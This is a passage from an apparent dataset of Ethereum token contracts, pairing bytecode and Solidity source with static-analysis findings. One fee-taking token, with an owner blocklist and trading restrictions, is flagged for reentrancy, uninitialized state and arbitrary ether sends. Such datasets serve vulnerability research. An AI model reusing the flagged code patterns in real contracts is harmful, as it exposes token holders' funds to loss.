565b6105d085604051806060016040528060288152602001611fd2602891396001600160a01b038a166000908152600460205260408120906105af610e6b565b6001600160a01b031681526020810191909152604001600020549190611331565b610e6f565b5060019392505050565b6105e7610e6b565b6000546001600160a01b03908116911614610637576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610665610e6b565b6000546001600160a01b039081169116146106b5576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e7610e6b565b6001600160a01b0316146106fa57600080fd5b47610704816113c8565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074757506001600160a01b03811660009081526003602052604090205461076c565b6001600160a01b0382166000908152600260205260409020546107699061144d565b90505b919050565b610779610e6b565b6000546001600160a01b039081169116146107c9576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600681526511d213d5539160d21b602082015290565b600061054161084f610e6b565b8484610f5b565b61085e610e6b565b6000546001600160a01b039081169116146108ae576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b60005b8151811015610906576001600760008484815181106108cc57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108b1565b5050565b6010546001600160a01b031661091e610e6b565b6001600160a01b03161461093157600080fd5b600061093c30610707565b9050610704816114ad565b61094f610e6b565b6000546001600160a01b0390811691161461099f576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109fe576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a479030906001600160a01b0316683635c9adc5dea00000610e6f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8057600080fd5b505afa158015610a94573d6000803e3d6000fd5b505050506040513d6020811015610aaa57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610afa57600080fd5b505afa158015610b0e573d6000803e3d6000fd5b505050506040513d6020811015610b2457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7657600080fd5b505af1158015610b8a573d6000803e3d6000fd5b505050506040513d6020811015610ba057600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bd281610707565b600080610bdd610813565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4857600080fd5b505af1158015610c5c573d6000803e3d6000fd5b50505050506040513d6060811015610c7357600080fd5b5050601380546730927f74c9de000060145560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0c57600080fd5b505af1158015610d20573d6000803e3d6000fd5b505050506040513d6020811015610d3657600080fd5b505050565b610d43610e6b565b6000546001600160a01b03908116911614610d93576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b60008111610de8576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e066064610e00683635c9adc5dea000008461167b565b906116d4565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eb45760405162461bcd60e51b81526004018080602001828103825260248152602001806120686024913960400191505060405180910390fd5b6001600160a01b038216610ef95760405162461bcd60e51b8152600401808060200182810382526022815260200180611f8f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610fa05760405162461bcd60e51b81526004018080602001828103825260258152602001806120436025913960400191505060405180910390fd5b6001600160a01b038216610fe55760405162461bcd60e51b8152600401808060200182810382526023815260200180611f426023913960400191505060405180910390fd5b600081116110245760405162461bcd60e51b815260040180806020018281038252602981526020018061201a6029913960400191505060405180910390fd5b61102c610813565b6001600160a01b0316836001600160a01b0316141580156110665750611050610813565b6001600160a01b0316826001600160a01b031614155b156112d457601354600160b81b900460ff1615611160576001600160a01b038316301480159061109f57506001600160a01b0382163014155b80156110b957506012546001600160a01b03848116911614155b80156110d357506012546001600160a01b03838116911614155b15611160576012546001600160a01b03166110ec610e6b565b6001600160a01b0316148061111b57506013546001600160a01b0316611110610e6b565b6001600160a01b0316145b611160576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116f57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111b157506001600160a01b03821660009081526007602052604090205460ff16155b6111ba57600080fd5b6013546001600160a01b0384811691161480156111e557506012546001600160a01b03838116911614155b801561120a57506001600160a01b03821660009081526005602052604090205460ff16155b801561121f5750601354600160b81b900460ff165b15611267576001600160a01b038216600090815260086020526040902054421161124857600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061127230610707565b601354909150600160a81b900460ff1615801561129d57506013546001600160a01b03858116911614155b80156112b25750601354600160b01b900460ff165b156112d2576112c0816114ad565b4780156112d0576112d0476113c8565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061131657506001600160a01b03831660009081526005602052604090205460ff165b1561131f575060005b61132b84848484611716565b50505050565b600081848411156113c05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561138557818101518382015260200161136d565b50505050905090810190601f1680156113b25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113e28360026116d4565b6040518115909202916000818181858888f1935050505015801561140a573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114258360026116d4565b6040518115909202916000818181858888f19350505050158015610906573d6000803e3d6000fd5b6000600a548211156114905760405162461bcd60e51b815260040180806020018281038252602a815260200180611f65602a913960400191505060405180910390fd5b600061149a611832565b90506114a683826116d4565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114ee57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561154257600080fd5b505afa158015611556573d6000803e3d6000fd5b505050506040513d602081101561156c57600080fd5b505181518290600190811061157d57fe5b6001600160a01b0392831660209182029290920101526012546115a39130911684610e6f565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611629578181015183820152602001611611565b505050509050019650505050505050600060405180830381600087803b15801561165257600080fd5b505af1158015611666573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168a57506000610545565b8282028284828161169757fe5b04146114a65760405162461bcd60e51b8152600401808060200182810382526021815260200180611fb16021913960400191505060405180910390fd5b60006114a683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611855565b80611723576117236118ba565b6001600160a01b03841660009081526006602052604090205460ff16801561176457506001600160a01b03831660009081526006602052604090205460ff16155b15611779576117748484846118ec565b611825565b6001600160a01b03841660009081526006602052604090205460ff161580156117ba57506001600160a01b03831660009081526006602052604090205460ff165b156117ca57611774848484611a10565b6001600160a01b03841660009081526006602052604090205460ff16801561180a57506001600160a01b03831660009081526006602052604090205460ff165b1561181a57611774848484611ab9565b611825848484611b2c565b8061132b5761132b611b70565b600080600061183f611b7e565b909250905061184e82826116d4565b9250505090565b600081836118a45760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561138557818101518382015260200161136d565b5060008385816118b057fe5b0495945050505050565b600c541580156118ca5750600d54155b156118d4576118ea565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118fe87611cfd565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119309088611d5a565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461195f9087611d5a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461198e9086611d9c565b6001600160a01b0389166000908152600260205260409020556119b081611df6565b6119ba8483611e7e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a2287611cfd565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a549087611d5a565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a8a9084611d9c565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461198e9086611d9c565b600080600080600080611acb87611cfd565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611afd9088611d5a565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a549087611d5a565b600080600080600080611b3e87611cfd565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061195f9087611d5a565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cbd57826002600060098481548110611bae57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c135750816003600060098481548110611bec57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c3157600a54683635c9adc5dea0000094509450505050611cf9565b611c716002600060098481548110611c4557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d5a565b9250611cb36003600060098481548110611c8757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d5a565b9150600101611b92565b50600a54611cd490683635c9adc5dea000006116d4565b821015611cf357600a54683635c9adc5dea00000935093505050611cf9565b90925090505b9091565b6000806000806000806000806000611d1a8a600c54600d54611ea2565b9250925092506000611d2a611832565b90506000806000611d3d8e878787611ef1565b919e509c509a509598509396509194505050505091939550919395565b60006114a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611331565b6000828201838110156114a6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611e00611832565b90506000611e0e838361167b565b30600090815260026020526040902054909150611e2b9082611d9c565b3060009081526002602090815260408083209390935560069052205460ff1615610d365730600090815260036020526040902054611e699084611d9c565b30600090815260036020526040902055505050565b600a54611e8b9083611d5a565b600a55600b54611e9b9082611d9c565b600b555050565b6000808080611eb66064610e00898961167b565b90506000611ec96064610e008a8961167b565b90506000611ee182611edb8b86611d5a565b90611d5a565b9992985090965090945050505050565b6000808080611f00888661167b565b90506000611f0e888761167b565b90506000611f1c888861167b565b90506000611f2e82611edb8686611d5a565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122055e90189b3ad30c69d52614136177dbde3b46f37e5e0a7537912a8d5e199558164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,786
0x96920272c0da7bb8c1afd9d18ac48cb69933a3f0
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = 0x818081AFb3B352cb1cC061bCfB025fb2814AC008; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BNIXSilver is IERC20, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _decimals = 0; _totalSupply = 3000000 * uint(10) ** _decimals; _name = "BNIX Silver Futures Betconix"; _symbol = "BNIXSilver"; _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461027d578063a9059cbb146102a9578063dd62ed3e146102d5578063f2fde38b14610303576100cf565b806370a082311461022b5780638da5cb5b1461025157806395d89b4114610275576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc61032b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103c1565b604080519115158252519081900360200190f35b6101996103d7565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103dd565b6101e9610446565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561044f565b6101996004803603602081101561024157600080fd5b50356001600160a01b0316610485565b6102596104a0565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104af565b61017d6004803603604081101561029357600080fd5b506001600160a01b038135169060200135610510565b61017d600480360360408110156102bf57600080fd5b506001600160a01b03813516906020013561055f565b610199600480360360408110156102eb57600080fd5b506001600160a01b038135811691602001351661056c565b6103296004803603602081101561031957600080fd5b50356001600160a01b0316610597565b005b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b820191906000526020600020905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b60006103ce338484610696565b50600192915050565b60035490565b60006103ea848484610782565b61043c843361043785604051806060016040528060288152602001610a5e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d4565b610696565b5060019392505050565b60065460ff1690565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103ce918590610437908661096b565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b60006103ce338461043785604051806060016040528060258152602001610acf602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d4565b60006103ce338484610782565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146105f6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661063b5760405162461bcd60e51b81526004018080602001828103825260268152602001806109f06026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106db5760405162461bcd60e51b8152600401808060200182810382526024815260200180610aab6024913960400191505060405180910390fd5b6001600160a01b0382166107205760405162461bcd60e51b8152600401808060200182810382526022815260200180610a166022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107c75760405162461bcd60e51b8152600401808060200182810382526025815260200180610a866025913960400191505060405180910390fd5b6001600160a01b03821661080c5760405162461bcd60e51b81526004018080602001828103825260238152602001806109cd6023913960400191505060405180910390fd5b61084981604051806060016040528060268152602001610a38602691396001600160a01b03861660009081526001602052604090205491906108d4565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610878908261096b565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156109635760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610928578181015183820152602001610910565b50505050905090810190601f1680156109555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156109c5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209083e0f0cc9d537c86e96998dad771d6d32e976831da3d9676ca681238be4e4b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,787
0xb458c275202679323a8c9063e78649c0693745ce
pragma solidity ^0.5.0; /** * @notes All the credits go to the fantastic OpenZeppelin project and its community, see https://github.com/OpenZeppelin/openzeppelin-solidity * This contract was generated and deployed using https://tokens.kawatta.com */ /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowances[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the 